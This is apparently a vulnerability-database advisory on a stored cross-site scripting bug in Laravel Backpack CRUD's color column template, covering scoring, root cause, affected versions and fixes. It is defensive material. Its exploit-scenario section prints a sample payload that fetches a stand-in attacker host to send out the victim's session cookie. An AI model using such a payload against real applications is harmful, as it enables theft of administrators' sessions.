Skip to main content

Laravel Backpack CRUD EUVDEUVD-2026-77720

| CVE-2026-54181 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-20 https://github.com/Laravel-Backpack/CRUD GHSA-mmg4-322v-6jvc
5.4
CVSS 3.1 · Vendor: https://github.com/Laravel-Backpack/CRUD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with low-privilege account
  2. Delivery
    Submit XSS payload as color column value
  3. Exploit
    Payload persisted unescaped to database
  4. Install
    Admin loads CRUD list view
  5. C2
    Template renders raw `{!! !!}` output
  6. Execute
    Injected script executes in admin browser
  7. Impact
    Session cookie or CSRF token exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all four of the following conditions: (1) the application runs Laravel Backpack CRUD 6.x prior to 6.8.14 or 7.x prior to 7.0.38; (2) at least one CRUD panel defines a column with type => 'color' in its column configuration array; (3) the attacker holds at minimum a low-privilege authenticated account (PR:L) with write access to that column, either through the Backpack admin interface or any other data write path; and (4) a victim - ideally an administrator - loads the list view containing the poisoned record (UI:R). Exploitation is blocked for fully unauthenticated actors and for applications that enforce strict server-side CSS color format validation at the model layer prior to storage, even on unpatched versions. Read-only users who cannot write to color-typed columns cannot introduce the payload.

Impact

The vendor-assigned CVSS 3.1 score of 5.4 (Medium) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N is consistent with an independent assessment of this vulnerability. PR:L confirms that write-level authentication is required - unauthenticated actors cannot inject the payload - meaningfully constraining the attack surface. UI:R and S:C together characterize classic stored XSS: the practical impact materializes only when a victim loads the list view, but when that victim is an administrator the combined confidentiality and integrity impact (session cookie and CSRF token exposure) can exceed what the Medium base score suggests. No CISA KEV listing exists confirming active exploitation, no public proof-of-concept has been identified, and EPSS data was not provided in the source intelligence. The realistic threat model is an insider threat or compromised low-privilege account in an application where color column values are not server-side validated against a CSS color grammar - a condition that may be common given Backpack's documentation does not mandate such validation.

Exploit ScenarioDerived

An authenticated low-privilege user (e.g., an editor role with write access to an admin panel resource that includes a color-typed column) submits a value such as <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> into a color field via the Backpack form. When an administrator subsequently opens the CRUD list view containing that record, the unescaped payload renders in their browser and the script executes, exfiltrating their session cookie or CSRF token to the attacker-controlled endpoint. No public proof-of-concept has been identified, but the attack requires no specialized tooling beyond a crafted HTTP form submission.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Stored XSS in Laravel Backpack CRUD's color column Blade template allows any authenticated user with write access to a color-typed field to inject arbitrary JavaScript that executes in the browsers of other users - including administrators - who view the affected list page. The root cause is an inversion of the escaped/unescaped rendering branches in color.blade.php: because $column['escaped'] defaults to true, the template renders values raw via {!! $column['text'] !!} instead of HTML-escaped, the exact opposite of every other column template in the library. No public exploit has been identified at time of analysis, but the CVSS scope-change indicator (S:C) reflects real cross-user impact including potential session cookie and CSRF token theft from administrators.

RemediationAI

Upgrade to Laravel Backpack CRUD 6.8.14 (for 6.x installations) or 7.0.38 (for 7.x installations); both releases are confirmed available at https://github.com/Laravel-Backpack/CRUD/releases/tag/6.8.14 and https://github.com/Laravel-Backpack/CRUD/releases/tag/7.0.38 respectively. The fix, applied in PR #5992, corrects the inverted @if/$column['escaped'] branch order in color.blade.php so it matches the convention used by every other column template in the library. If immediate upgrade is not feasible, the vendor-endorsed workaround is to add model-layer validation that rejects any color column value not matching a strict CSS color regex such as /^#[0-9a-fA-F]{3,6}$/ before data is persisted. This workaround prevents arbitrary string storage but does not fix the underlying template logic inversion and must be treated as temporary; it also restricts color input to 3- and 6-digit hex notation only, which may break any application already storing named or rgba color values.

Affected VersionsENISA

CRUD 6.0.0, < 6.8.14
CRUD 7.0.0, < 7.0.38

Affected Packages

composer backpack/crud fix: 6.8.14, 7.0.38
euvd crud_6_0_0 fix: 6.8.14
euvd crud_7_0_0 fix: 7.0.38

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Laravel Backpack CRUD (pkg:composer/backpack/crud) is a PHP/Composer package that generates admin panels for Laravel applications using Blade templating. The vulnerable file is src/resources/views/crud/columns/color.blade.php, responsible for rendering color-typed column values in list views. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies directly: all other column templates in the src/resources/views/crud/columns/ directory follow the correct convention where $column['escaped'] true maps to the safe {{ $column['text'] }} (HTML-escaped) output and $column['escaped'] false maps to the raw {!! $column['text'] !!} output. The color template has these two branches swapped. Since $column['escaped'] defaults to true, the practical effect is that color column values are always rendered raw unless a caller explicitly sets escaped to false, which would be counter-intuitive. This is a logic inversion bug, not a missing sanitization call.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Laravel-Backpack/CRUD) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

PR:L reflects required write-level authentication; S:C and UI:R reflect stored XSS executing in a different user's browser; no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/Laravel-Backpack/CRUD).

CVSS VectorVendor: https://github.com/Laravel-Backpack/CRUD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

The Blade template for the color column type (src/resources/views/crud/columns/color.blade.php) has its escaped/unescaped rendering branches inverted relative to every other column template in the library. Because $column['escaped'] defaults to true, values stored in color columns are rendered unescaped by default, enabling Stored XSS if column values are not validated before storage.

Details

All other column templates in src/resources/views/crud/columns/ follow the convention:

  • $column['escaped'] == true → {{ $column['text'] }} (HTML-escaped)
  • $column['escaped'] == false → {!! $column['text'] !!} (raw)

The color template has these branches swapped. An attacker who can write an arbitrary string to a color-typed column can inject JavaScript that executes in the browser of any user who views the list - including administrators - with access to their session cookies and CSRF tokens.

Impact

Stored XSS with scope change (attacker context runs in victim's browser). Highest-risk target is an administrator viewing the list view. Exploitability requires the ability to write an unsanitized value into a color-typed column.

Patches

Fixed in 6.8.14 and 7.0.38 by correcting the branch order in color.blade.php. See PR #5992.

Workarounds

Validate stored color values against a strict CSS color grammar (e.g. /^#[0-9a-fA-F]{3,6}$/) at the model layer before data reaches the view.

Credits

Reported by Vishal Shukla (@shukla304) via sechub.dev.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Medium
popular Laravel admin panel package used across PHP ecosystem
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy